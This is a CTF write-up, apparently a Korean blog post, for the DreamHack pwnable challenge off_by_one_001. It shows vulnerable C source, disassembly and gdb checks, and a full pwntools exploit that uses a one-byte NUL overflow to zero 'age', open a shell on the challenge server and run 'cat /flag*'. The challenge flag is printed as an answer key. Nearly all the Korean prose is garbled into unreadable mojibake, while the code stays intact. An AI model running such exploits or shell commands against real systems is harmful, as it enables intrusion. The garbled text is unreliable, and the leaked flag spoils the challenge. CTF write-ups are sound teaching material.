๋ฌธ์ : DreamHack โ off_by_one_001 ๋ถ๋ฅ: Pwnable ๋์ด๋: ๐ฑ Sprout FLAG:
DH{343bab3ef81db6f26ee5f1362942cd79}
์ด๋ฆ์ ๋ฐ๋ ์
๋ ฅ ํจ์ ํ๋์ ptr[len] = 0 ์ด ๋ค์ด ์๋ค. ์ธ๋ป ํ๋ฒํด ๋ณด์ด๋ ๋ฌธ์์ด ์ข
๋จ ์ฒ๋ฆฌ์ธ๋ฐ, len ์ด ๋ฒํผ ํฌ๊ธฐ์ ๊ฐ์์ง๋ ์๊ฐ ๋ ๋ฐ์ดํธ๊ฐ ๋ฒํผ ๋ฐ์ผ๋ก ํ ์นธ ์์ ธ๋๊ฐ๋ค. ๊ทธ ํ ์นธ์ด ํํ ๋ฐ๋ก ๋ค์ ์๋ int age ์ ์ตํ์ ๋ฐ์ดํธ๋ผ, ๊ฐ์ 1์์ 0์ผ๋ก ๋ฐ๊ฟ ๋๋๋ค. ๊ทธ๋ฆฌ๊ณ ์ฝ๋๋ age == 0 ์ด๋ฉด ์
ธ์ ์ค๋ค.
๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | off_by_one_001 |
| ๋์ด๋ | ๐ฑ Sprout |
| ๋ถ๋ฅ | Pwnable |
| ์ ๊ณต ํ์ผ | off_by_one_001 (ELF 32-bit), off_by_one_001.c |
| ์๋ฒ | host3.dreamhack.games:PORT (nc) |
| ํต์ฌ ์ทจ์ฝ์ | off-by-one โ ptr[len]=0 ์ด ์ธ์ ๋ณ์ age ์ LSB ๋ฅผ 0์ผ๋ก ๋ฎ์ |
ํ์ด ํ๋ฆ์ ์งง๋ค. ์์ค๋ฅผ ์ฝ์ด read_str ์ ์ข
๋จ ์ฒ๋ฆฌ์์ ํ ๋ฐ์ดํธ๊ฐ ์๋ ๊ฑธ ํ์ธํ๊ณ , ์คํ์์ name ๊ณผ age ๊ฐ ์ ํํ 20๋ฐ์ดํธ ๋จ์ด์ ธ ์๋์ง ๋์ค์ด์
๋ธ๋ก ์ฌ๊ณ , age == 0 ์ ๋ง๋ค์ด get_shell ๋ก ๋ค์ด๊ฐ๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ off-by-one ์ด ์ ์ํํ๊ฐ
off-by-one ์ ๊ฒฝ๊ณ๋ฅผ ๋ฑ ํ๋ ๋ฒ์ด๋๋ ์ค์๋ค. ๋ฐฐ์ด ์ธ๋ฑ์ค๋ฅผ <= ๋ก ๋๋ฆฐ๋ค๋ ๊ฐ, ํฌ๊ธฐ n ๋ฒํผ์ n ๋ฐ์ดํธ๋ฅผ ์ฑ์ด ๋ค buf[n] ์ ๋์ ๋ฃ๋๋ค๋ ๊ฐ. ๋์น๋ ์์ด ๊ฒจ์ฐ 1๋ฐ์ดํธ๋ผ ๋ฆฌํด ์ฃผ์๊น์ง๋ ๋ชป ๊ฑด๋๋ฆฌ๋ ๊ฒฝ์ฐ๊ฐ ๋ง๊ณ , ๊ทธ๋์ ๋์๋กญ์ง ์๊ฒ ๋์ด๊ฐ๊ธฐ ์ฝ๋ค.
ํ์ง๋ง ๊ทธ 1๋ฐ์ดํธ๊ฐ ๋ฐ๋ก ๋ค์ ๋ถ์ ๋ค๋ฅธ ๋ณ์๋ฅผ ๊ฑด๋๋ฆฐ๋ค๋ฉด ์ด์ผ๊ธฐ๊ฐ ๋ฌ๋ผ์ง๋ค. ํนํ ๋ฆฌํ์๋์ธ์์ ์ ์์ ์ตํ์ ๋ฐ์ดํธ(LSB)๋ฅผ 0์ผ๋ก ๋ง๋ค๋ฉด ์์ ๊ฐ์ ํต์งธ๋ก 0์ด ๋๋ค. 1 โ 0, 256 โ 0 ์ฒ๋ผ. ๋ถ๊ธฐ ์กฐ๊ฑด์ด ๊ทธ ๋ณ์ ํ๋์ ๊ฑธ๋ ค ์์ผ๋ฉด ์ค๋ฒํ๋ก์ฐ ํ ๋ฐ์ดํธ๋ก ํ๋ฆ์ ํต์งธ๋ก ๋ค์ง์ ์ ์๋ค.
์ด ๋ฌธ์ ๋ ๊ทธ ๊ตฌ๋๋ฅผ ๊ต๊ณผ์์ฒ๋ผ ๋ณด์ฌ์ค๋ค. char name[20] ๋ฐ๋ก ๋ค์ int age = 1 ์ด ์๊ณ , name[20] ์ ๋์ด ์จ์ง๋ฉด age ์ LSB(0x01)๊ฐ 0x00 ์ด ๋๋ค.
๐ฌ ์ฝ๋ ์ ์ฐฐ
์ ๊ณต๋ ์์ค๋ ์ด๊ฒ ์ ๋ถ๋ค.
void read_str(char *ptr, int size)
{
int len;
len = read(0, ptr, size);
printf("%d", len);
ptr[len] = '\0'; // <-- len == size ๋ฉด ptr[size] ์ ์จ์ง๋ค (off-by-one)
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char name[20];
int age = 1;
initialize();
printf("Name: ");
read_str(name, 20);
printf("Are you baby?");
if (age == 0)
get_shell();
else {
printf("Ok, chance: \n");
read(0, name, 20);
}
return 0;
}read_str(name, 20) ์ ์ต๋ 20๋ฐ์ดํธ๋ฅผ ์ฝ๋๋ค. read ๋ ์ค์ ๋ก ์ฝ์ ๋ฐ์ดํธ ์๋ฅผ ๋๋ ค์ฃผ๋๋ฐ, ์
๋ ฅ์ ์ ํํ 20๋ฐ์ดํธ ๋ณด๋ด๋ฉด len == 20 ์ด ๋๊ณ , ๋ง์ง๋ง ์ค ptr[len] = '\0' ์ name[20] ์ ๋์ ์ด๋ค. name ์ ํฌ๊ธฐ 20์ง๋ฆฌ ๋ฐฐ์ด์ด๋ name[20] ์ ์ด๋ฏธ ๋ฐฐ์ด ๋ฐ๊นฅ์ด๋ค.
get_shell ์ด ์์ค์ ๊ทธ๋๋ก ๋ณด์ด์ง๋ง, ์ด๊ฑธ ํธ์ถํ๋ ์ ์ผํ ๊ธธ์ age == 0 ์ด๋ค. age ๋ 1๋ก ์ด๊ธฐํ๋๊ณ ์ฝ๋ ์ด๋์๋ ๋ค์ ๋์
ํ์ง ์๋๋ค. ๊ทธ๋ฌ๋ ์ฐ๋ฆฌ๊ฐ ์๋ ์ ์๋ ๊ฑด ์ ์์ด ๋๊ฐ๋ ํ ๋ฐ์ดํธ๋ฟ์ด๋ค.
๋ฐ์ด๋๋ฆฌ ๋ณดํธ ๊ธฐ๋ฒ๋ถํฐ ํ์ธํ๋ค.
file off_by_one_001 && pwn checksec off_by_one_001 && nm off_by_one_001 | grep -E " T (main|read_str|get_shell)| U system"
NX ๊ฐ ์ผ์ ธ ์์ด ์คํ ์
ธ์ฝ๋๋ ๋ชป ์ฐ๊ณ , ์นด๋๋ฆฌ๋ ์๋ค. ์ด์ฐจํผ ์ฐ๋ฆฌ๋ ๋ฆฌํด ์ฃผ์๋ฅผ ๋ฎ๋ ๊ฒ ์๋๋ผ ์ง์ญ ๋ณ์ ํ ๋ฐ์ดํธ๋ง ๊ฑด๋๋ฆด ๊ฑฐ๋ผ ๋ณดํธ ๊ธฐ๋ฒ์ ํฌ๊ฒ ์๊ด์๋ค. get_shell ์ฌ๋ณผ์ด ๊ทธ๋๋ก ์์ผ๋ system("/bin/sh") ๋ ์ด๋ฏธ ์ค๋น๋ผ ์๋ค.
๐ฃ ํต์ฌ โ ํ ๋ฐ์ดํธ NUL ์ด age ๋ฅผ 0 ์ผ๋ก
๋
ธ๋ฆด ๊ณณ์ name ๊ณผ age ์ ์์น ๊ด๊ณ๋ค. ๋์ด ์คํ์์ ์ผ๋ง๋ ๋จ์ด์ ธ ์๋๋๊ฐ ์ ๋ถ๋ค.
![ํด๋ฆญํ์ฌ ํ๋ ์คํ ๋ ์ด์์ โ name[20] ๋ฐ๋ก ๋ค age, name[20] ์ด age ์ LSB ์๋ฆฌ์ ๊ฒน์น๋ค](/_next/image?url=%2Fimages%2Fblog%2Fdreamhack-off-by-one-001-writeup%2F07_stack_diagram.png&w=3840&q=75)
๋์ค์ด์
๋ธ๋ก ์ค์ ์คํ์
์ ์ฌ๋ณธ๋ค. ๋จผ์ read_str ์ ์ข
๋จ ์ฒ๋ฆฌ ๋ถ๋ถ.
objdump -d -M intel off_by_one_001 --start-address=0x8048609 --stop-address=0x8048641![ํด๋ฆญํ์ฌ ํ๋ objdump โ read_str: add eax,edx(=ptr+len) ๋ค mov BYTE PTR [eax],0x0 ์ด off-by-one ์ฐ๊ธฐ](/_next/image?url=%2Fimages%2Fblog%2Fdreamhack-off-by-one-001-writeup%2F02_disasm_readstr.png&w=3840&q=75)
mov edx,[ebp-0x4] ๋ก len ์, mov eax,[ebp+0x8] ๋ก ptr ์ ๊ฐ์ ธ์ add eax,edx ๋ก ptr+len ์ฃผ์๋ฅผ ๋ง๋ ๋ค์ mov BYTE PTR [eax],0x0 ์ ์คํํ๋ค. ์ด๊ฒ ์์ค์ ptr[len] = '\0' ์ด๊ณ , len == 20 ์ด๋ฉด ptr[20] ์ ๋์ ์ด๋ค.
์ด์ main ์์ name ๊ณผ age ์ ์คํ์
์ ๋ณธ๋ค.
objdump -d -M intel off_by_one_001 --start-address=0x8048654 --stop-address=0x804869b![ํด๋ฆญํ์ฌ ํ๋ objdump โ main: age=[ebp-0x4]=1, name=[ebp-0x18], push 0x14(size=20), cmp [ebp-0x4],0 ๋ค get_shell](/_next/image?url=%2Fimages%2Fblog%2Fdreamhack-off-by-one-001-writeup%2F03_disasm_main.png&w=3840&q=75)
mov DWORD PTR [ebp-0x4],0x1โage๋ebp-0x4, ์ด๊ธฐ๊ฐ 1lea eax,[ebp-0x18]โname์ebp-0x18push 0x14โread_str์ ๋๊ธฐ๋ size ๋0x14 = 20cmp DWORD PTR [ebp-0x4],0x0โage == 0๊ฒ์ฌcall get_shell
name(ebp-0x18) ๊ณผ age(ebp-0x4) ์ ๊ฑฐ๋ฆฌ๋ 0x18 - 0x4 = 0x14 = 20. ๊ทธ๋ฌ๋ name[20] ์ ์ ํํ age ์ ์์ ๋ฐ์ดํธ, ๋ฆฌํ์๋์ธ์์ age ์ LSB ๋ค. age = 0x00000001 ์ LSB(0x01)๋ฅผ 0x00 ์ผ๋ก ๋ฎ์ผ๋ฉด ๊ฐ ์ ์ฒด๊ฐ 0x00000000 ์ด ๋๋ค.
์ ์ ์ผ๋ก ์ง์ ์คํ์
์ด ์คํ ์ค์๋ ๋ง๋์ง gdb ๋ก ํ์ธํ๋ค. read_str ํธ์ถ ์ง์ (0x8048679)๊ณผ ๋ฐํ ์งํ(0x804867e)์ ๋ธ๋ ์ดํฌ๋ฅผ ๊ฑธ๊ณ ์
๋ ฅ์ผ๋ก 'A'*20 ์ ํ๋ ค ๋ฃ์๋ค.
# verify.gdb
break *0x8048679
break *0x804867e
run < /tmp/obo_input # 'A' * 20
printf "age = %d\n", *(int*)($ebp-0x4)gdb -q -batch -x verify.gdb ./off_by_one_001
read_str ํธ์ถ ์ง์ ์๋ age = 1 ์ด์๋ค๊ฐ, 20๋ฐ์ดํธ๋ฅผ ๋ฃ๊ณ ๋ฐํ๋ ์งํ์๋ age = 0 ์ผ๋ก ๋ฐ๋์ด ์๋ค. name ๊ณผ age ์ฃผ์ ์ฐจ์ด๋ 0xffffcb14 - 0xffffcb00 = 0x14 ๋ก ์ ํํ 20. ์คํ์
๋, off-by-one ๋ฐ๋๋ ๋ฐํ์์์ ๊ทธ๋๋ก ํ์ธ๋๋ค.
โถ๐ ์ฝ์ง โ get_shell ์ด ๋ณด์ด๋ ret2win ์๋๊น
get_shell ์ฌ๋ณผ์ด ๊ทธ๋๋ก ๋
ธ์ถ๋ผ ์์ด์ ์ฒ์์ ๋ฆฌํด ์ฃผ์๋ฅผ get_shell ์ฃผ์๋ก ๋ฎ๋ ret2win ์ ๋ ์ฌ๋ ธ๋ค. ํ์ง๋ง ์ด ๋ฌธ์ ์์๋ ๊ทธ ๊ธธ์ด ๋งํ ์๋ค.
read_str ์ด ์๋ ๊ฑด ๋ฑ ํ ๋ฐ์ดํธ๋ค. ๋ฆฌํด ์ฃผ์๋ name(ebp-0x18) ์์ ebp+0x4 ๊น์ง, ์ ์ฅ๋ ebp 4๋ฐ์ดํธ๋ฅผ ์ง๋ ํจ์ฌ ๋ค์ ์๋ค. ํ ๋ฐ์ดํธ๋ก๋ ๊ฑฐ๊ธฐ๊น์ง ๋ฟ์ง ๋ชปํ๋ค. ๊ฒ๋ค๊ฐ ์๋ ๊ฐ๋ ์ฐ๋ฆฌ๊ฐ ๊ณ ๋ฅด๋ ๊ฒ ์๋๋ผ ๋ฌด์กฐ๊ฑด 0x00 ์ด๋ค.
์ฒซ ์
๋ ฅ ๋ค์ else ๋ก ๋น ์ง๋ฉด read(0, name, 20) ์ด ํ ๋ฒ ๋ ์๊ธด ํ๋ฐ, ์ด๊ฑด ์ค๋ฒํ๋ก์ฐ๊ฐ ์๋ ์ ์งํ 20๋ฐ์ดํธ read ๋ผ ์ฌ๊ธฐ์ ๋ญ ๋ ํ๊ธด ์ด๋ ต๋ค. ์ ์ด์ ์ฐ๋ฆฌ๊ฐ ๋
ธ๋ ค์ผ ํ๋ ๊ฑด ๊ทธ else ๊ฐ ์๋๋ผ if (age == 0) ์ชฝ์ด๋ค. ๊ฒฐ๊ตญ ๋ต์ ๋ฆฌํด ์ฃผ์๊ฐ ์๋๋ผ ๋ฐ๋ก ๋ค ์ง์ญ ๋ณ์ ํ ๋ฐ์ดํธ์๋ค.
๐ฏ ์ต์คํ๋ก์ ์ค๊ณ
์ ๋ฆฌํ๋ฉด ์กฐ๊ฑด์ ๋จ ํ๋. read ๊ฐ 20์ ๋๋ ค์ฃผ๊ฒ ๋ง๋ค๋ฉด ๋๋ค. ๊ทธ๋ฌ๋ ค๋ฉด Name: ์
๋ ฅ์ผ๋ก ์ ํํ 20๋ฐ์ดํธ๋ฅผ ๋ณด๋ธ๋ค.
์ ํํ 20์ธ๊ฐ. read(0, ptr, 20) ์ ์ต๋ 20๊น์ง ์ฝ๋๋ค. 19๋ฐ์ดํธ๋ง ๋ณด๋ด๋ฉด len = 19, ptr[19] = 0 ์ด๋ผ name ๋ฐฐ์ด ์์์ ๋๋ age ๋ ๊ทธ๋๋ก 1์ด๋ค. 21๋ฐ์ดํธ๋ฅผ ๋ณด๋ด๋ read ๋ 20๊น์ง๋ง ์ฝ์ด len = 20 ์ด ๋๊ธด ํ์ง๋ง, ์ด์ฐจํผ ํ์ํ ๊ฑด 20๋ฐ์ดํธ๊ฐ ํ ๋ฒ์ ๋์ฐฉํด read ๊ฐ 20์ ๋ฐํํ๋ ๊ฒ๋ฟ์ด๋ค. ๊ทธ๋์ ๊ฐํ ์์ด ๋ฑ 20๋ฐ์ดํธ๋ฅผ send ํ๋ค. ๊ฐํ์ ๋ถ์ด๋ฉด ๊ทธ๊ฒ 21๋ฒ์งธ ๋ฐ์ดํธ๊ฐ ๋์ด ๋ฒ๋ฆฌ๋ ๋ฃ์ง ์๋๋ค.
๋ก์ปฌ์์ ๋จผ์ ๋ฉ์ปค๋์ฆ๋ง ํ์ธํ๋ค. ์
ธ์ด ์ค์ ๋ก ์ด๋ฆฌ๋์ง id ๋ก ๋ณธ๋ค(ํ๋๊ทธ๋ ์๊ฒฉ ์๋ฒ์๋ง ์์ผ๋ ๋ก์ปฌ์ ์
ธ ํ๋๋ง ๊ฒ์ฆ).
from pwn import *
p = process("./extracted/off_by_one_001")
p.recvuntil(b"Name: ")
p.send(b"A" * 20) # ์ ํํ 20๋ฐ์ดํธ โ read ๊ฐ 20 ๋ฐํ
p.sendline(b"id; echo 'shell OK (age forced to 0 -> get_shell)'")
ํ๋กฌํํธ ๋ค์ ์ฐํ 20 ์ด read_str ์์ printf("%d", len) ์ถ๋ ฅ์ด๋ค. len = 20 ์ด ๋์๋ค๋ ๊ฑด off-by-one ์ด ๋ฐ๋ํ๋ค๋ ๋ป์ด๊ณ , ์ด์ด์ id ๊ฐ ์ ์ ์คํ๋์ผ๋ age ๊ฐ 0์ด ๋์ด get_shell ๋ก ๋ค์ด๊ฐ ๊ฒ ๋ง๋ค.
๐ Full Exploit
๋ก์ปฌ๊ณผ ์๊ฒฉ์ ์ฐจ์ด๋ ์ ธ์ ์ก์ ๋ค ๋ฌด์์ ์ฝ๋๋๋ฟ์ด๋ค. ์๊ฒฉ์์๋ ํ๋๊ทธ ํ์ผ์ ์ฝ๋๋ค.
#!/usr/bin/env python3
# off_by_one_001 โ read_str ์ ptr[len]='\0' off-by-one ์ผ๋ก age LSB ๋ฅผ 0 ์ผ๋ก
import sys
from pwn import *
context.arch = "i386"
HOST, PORT = "host3.dreamhack.games", 13389
LOCAL = len(sys.argv) > 1 and sys.argv[1] == "local"
p = process("./extracted/off_by_one_001") if LOCAL else remote(HOST, PORT)
p.recvuntil(b"Name: ")
# ์ ํํ 20๋ฐ์ดํธ โ read() ๊ฐ 20 ๋ฐํ โ ptr[20]='\0' ๋ก age ์ LSB ๋ฅผ 0 ์ผ๋ก
p.send(b"A" * 20)
if LOCAL:
p.sendline(b"id; echo 'shell OK (age forced to 0 -> get_shell)'")
else:
p.sendline(b"cat /flag* flag* 2>/dev/null; id")
p.sendline(b"echo ===END===")
print(p.recvuntil(b"===END===", timeout=5).decode(errors="replace"))
p.close()
์๊ฒฉ์์๋ ๋๊ฐ์ด 20Are you baby? ๋ค์ ์
ธ์ด ์ด๋ฆฌ๊ณ , cat ์ด ํ๋๊ทธ๋ฅผ ๋ฑ๋๋ค.
DH{343bab3ef81db6f26ee5f1362942cd79}๐ ๊ฒฐ๋ก
ํ ๋ฐ์ดํธ๋ ๊ฒฝ๊ณ ๋ฐ์ด๋ฉด ๋์ด๋ค.
์ด ๋ฌธ์ ์ ๋ฒ๊ทธ๋ ptr[len] = '\0' ํ ์ค์ด๋ค. read ๊ฐ ๋ฒํผ ํฌ๊ธฐ์ ๊ฐ์ ๊ฐ์ ๋๋ ค์ค ์ ์๋ค๋ ๊ฑธ ์๊ณ , ์ข
๋จ ๋์ ptr[len] ์ ๊ทธ๋๋ก ์จ ๋ฒ๋ ธ๋ค. ๋์น๋ ๊ฑด ๊ฒจ์ฐ 1๋ฐ์ดํธ์ง๋ง ๊ทธ ์๋ฆฌ๊ฐ ์ ๋ณ์์ LSB ๋ผ ๊ฐ ํ๋๊ฐ ํต์งธ๋ก ๋ค์งํ๋ค.
๋ฒํผ ์ข ๋จ์ ํฌ๊ธฐ๋ฅผ ๋์ง ์๊ฒ.
read ๊ฒฐ๊ณผ๋ก ๋์ ๋ถ์ผ ๊ฑฐ๋ฉด ๋ฒํผ๋ฅผ ํ ์นธ ๋ ํฌ๊ฒ ์ก๊ฑฐ๋(char name[21]), ์ฝ๋ ํฌ๊ธฐ๋ฅผ size-1 ๋ก ์ ํํด ptr[len] ์ด ์ ๋ ๋ฐฐ์ด ๋ฐ์ผ๋ก ๋ชป ๋๊ฐ๊ฒ ํด์ผ ํ๋ค. read(0, ptr, size-1) ์ด์๋ค๋ฉด ์ด ๋ฒ๊ทธ๋ ์์๋ค.
๋ถ๊ธฐ๋ฅผ ์ข์ฐํ๋ ๊ฐ์ ์ค๋ฒํ๋ก์ฐ ์ฌ๊ฑฐ๋ฆฌ์์ ๋ผ์ด ๋๊ธฐ.
age ์ฒ๋ผ ํ๋ฆ์ ๊ฒฐ์ ํ๋ ๋ณ์๊ฐ ์ค๋ฒํ๋ก์ฐ ๊ฐ๋ฅํ ๋ฒํผ ๋ฐ๋ก ๋ค์ ๋์ด๋ฉด, ๋จ ํ ๋ฐ์ดํธ๋ก๋ ์กฐ์๋๋ค. ์ปดํ์ผ๋ฌ๊ฐ ๋ฐฐ์น๋ฅผ ๋ฐ๊พธ๊ธฐ๋ ํ์ง๋ง ๊ทธ ์์์ ์์กดํด์ ์ ๋๋ค. ์ ์ด์ ์
๋ ฅ ์ฒ๋ฆฌ์์ ๊ฒฝ๊ณ๋ฅผ ์ ํํ ์งํค๋ ๊ฒ ์ ์ผํ๊ฒ ๋ฏฟ์ ์ ์๋ ๋ฐฉ์ด๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ